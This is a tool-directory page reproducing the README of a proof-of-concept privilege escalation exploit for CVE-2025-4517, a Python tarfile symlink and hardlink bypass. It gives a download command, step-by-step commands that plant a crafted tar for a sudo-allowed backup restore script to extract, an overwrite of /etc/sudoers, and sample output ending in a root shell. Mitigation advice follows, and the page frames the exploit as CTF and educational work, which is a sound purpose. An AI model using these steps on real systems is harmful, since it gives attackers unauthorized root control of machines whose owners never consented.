Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-4517-POC — Privilege Escalation script for CVE-2025-4517 | Kitploit
Tools/GitHubGitHub/azureadtrent/cve-2025-4517-poc
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

Privilege Escalation script for CVE-2025-4517

View Repository
925 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-4517 Exploit

NOTES

This exploit and description are written by AI. If you find a mistake or issue, please let me know! This exploit was tested and confirmed working. Thank you!

Overview

This exploit leverages CVE-2025-4517, a critical vulnerability in Python's tarfile module that allows arbitrary file write through a combination of symlink path traversal and hardlink manipulation. This bypasses the filter="data" protection introduced in Python 3.12.

Vulnerability Details

  • CVE ID: CVE-2025-4517
  • Affected Versions: Python 3.8.0 through 3.13.1
  • CVSS Score: 9.3 (Critical)
  • Impact: Arbitrary file write with elevated privileges

Technical Background

The vulnerability exploits a flaw in how Python's tarfile.extractall() handles the interaction between:

  1. Symlinks - Used to create path traversal outside the extraction directory
  2. Hardlinks - Used to reference files through the escaped symlink path
  3. Filter Bypass - The filter="data" parameter blocks direct symlink escapes, but the hardlink technique circumvents this protection

Attack Flow

root@kitploit:~
1. Create deep nested directories (path confusion)
   └─ Uses 247-character directory names repeated 16 levels deep

2. Build symlink chain for traversal
   └─ Creates symlinks that resolve upward through directory tree

3. Escape symlink to target directory (/etc)
   └─ Final symlink points outside extraction boundary

4. Create hardlink pointing through escape symlink
   └─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. Write content to hardlink
   └─ Writing to "sudoers_link" actually writes to /etc/sudoers

Vulnerable Component

Script: /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# Vulnerable code snippet
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Sudo Permissions:

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

System Details

  • Python Version: 3.12.3 (Vulnerable to CVE-2025-4517)

Usage

Prerequisites

  • User access with sudo permissions for the vulnerable script
  • Write access to /opt/backup_clients/backups/
  • Python 3 on attacking machine

Installation

root@kitploit:~
# Download the exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Move to target system

Basic Execution

root@kitploit:~
# Run the exploit
./exploit.py

# Or with Python
python3 exploit.py

Manual Step-by-Step

If you prefer to run each step manually:

root@kitploit:~
# 1. Create the exploit tar
python3 exploit.py --create-only

# 2. Deploy to target
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. Execute via vulnerable script
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. Verify sudoers modification
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. Get root
sudo /bin/bash

Output Example

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝

[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Proof of Concept Flow

Stage 1: Initial Access

  • Access to user

Stage 2: Privilege Escalation (This Exploit)

  • Identify sudo permissions on backup restore script
  • Recognize Python version vulnerable to CVE-2025-4517
  • Deploy tar exploit to modify /etc/sudoers
  • Gain root access

Mitigation

For Python Developers

  1. Upgrade Python: Update to Python 3.13.2+ or apply security patches
root@kitploit:~
   python3 --version  # Check version
  1. Additional Validation: Implement strict validation on tar contents
root@kitploit:~
   # Check for suspicious members before extraction
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("Symlinks/hardlinks not allowed")
  1. Restrict Extraction Paths: Verify all extracted files stay within bounds
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("Path traversal detected")

For System Administrators

  1. Limit sudo Access: Minimize scripts that can be run as root
root@kitploit:~
   # Remove or restrict backup script sudo access
   visudo
  1. Input Validation: Validate tar archives before processing
root@kitploit:~
   # Check tar contents before extraction
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. File Integrity Monitoring: Monitor critical files like /etc/sudoers
root@kitploit:~
   # Setup AIDE or similar IDS
   aide --check
  1. AppArmor/SELinux: Implement mandatory access controls

References

CVE Information

  • CVE-2025-4517 - NVD
  • CVE-2025-4138 - Related Vulnerability
  • Python Security Advisory

Research & Write-ups

  • Linux Security Advisory
  • Google Security Research - GHSA-hgqp-3mmf-7h8f

Public PoCs

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • AnimePrincess420 PoC

Legal Disclaimer

This exploit is provided for educational purposes only and is intended for use in:

  • Authorized penetration testing engagements
  • Capture The Flag (CTF) competitions like HackTheBox
  • Security research in controlled environments
  • Vulnerability disclosure and patch development

The author(s) assume no liability for misuse of this code.

Original Research: Multiple security researchers (see References)

License

MIT License - See LICENSE file for details


Last Updated: March 2026

Download Tool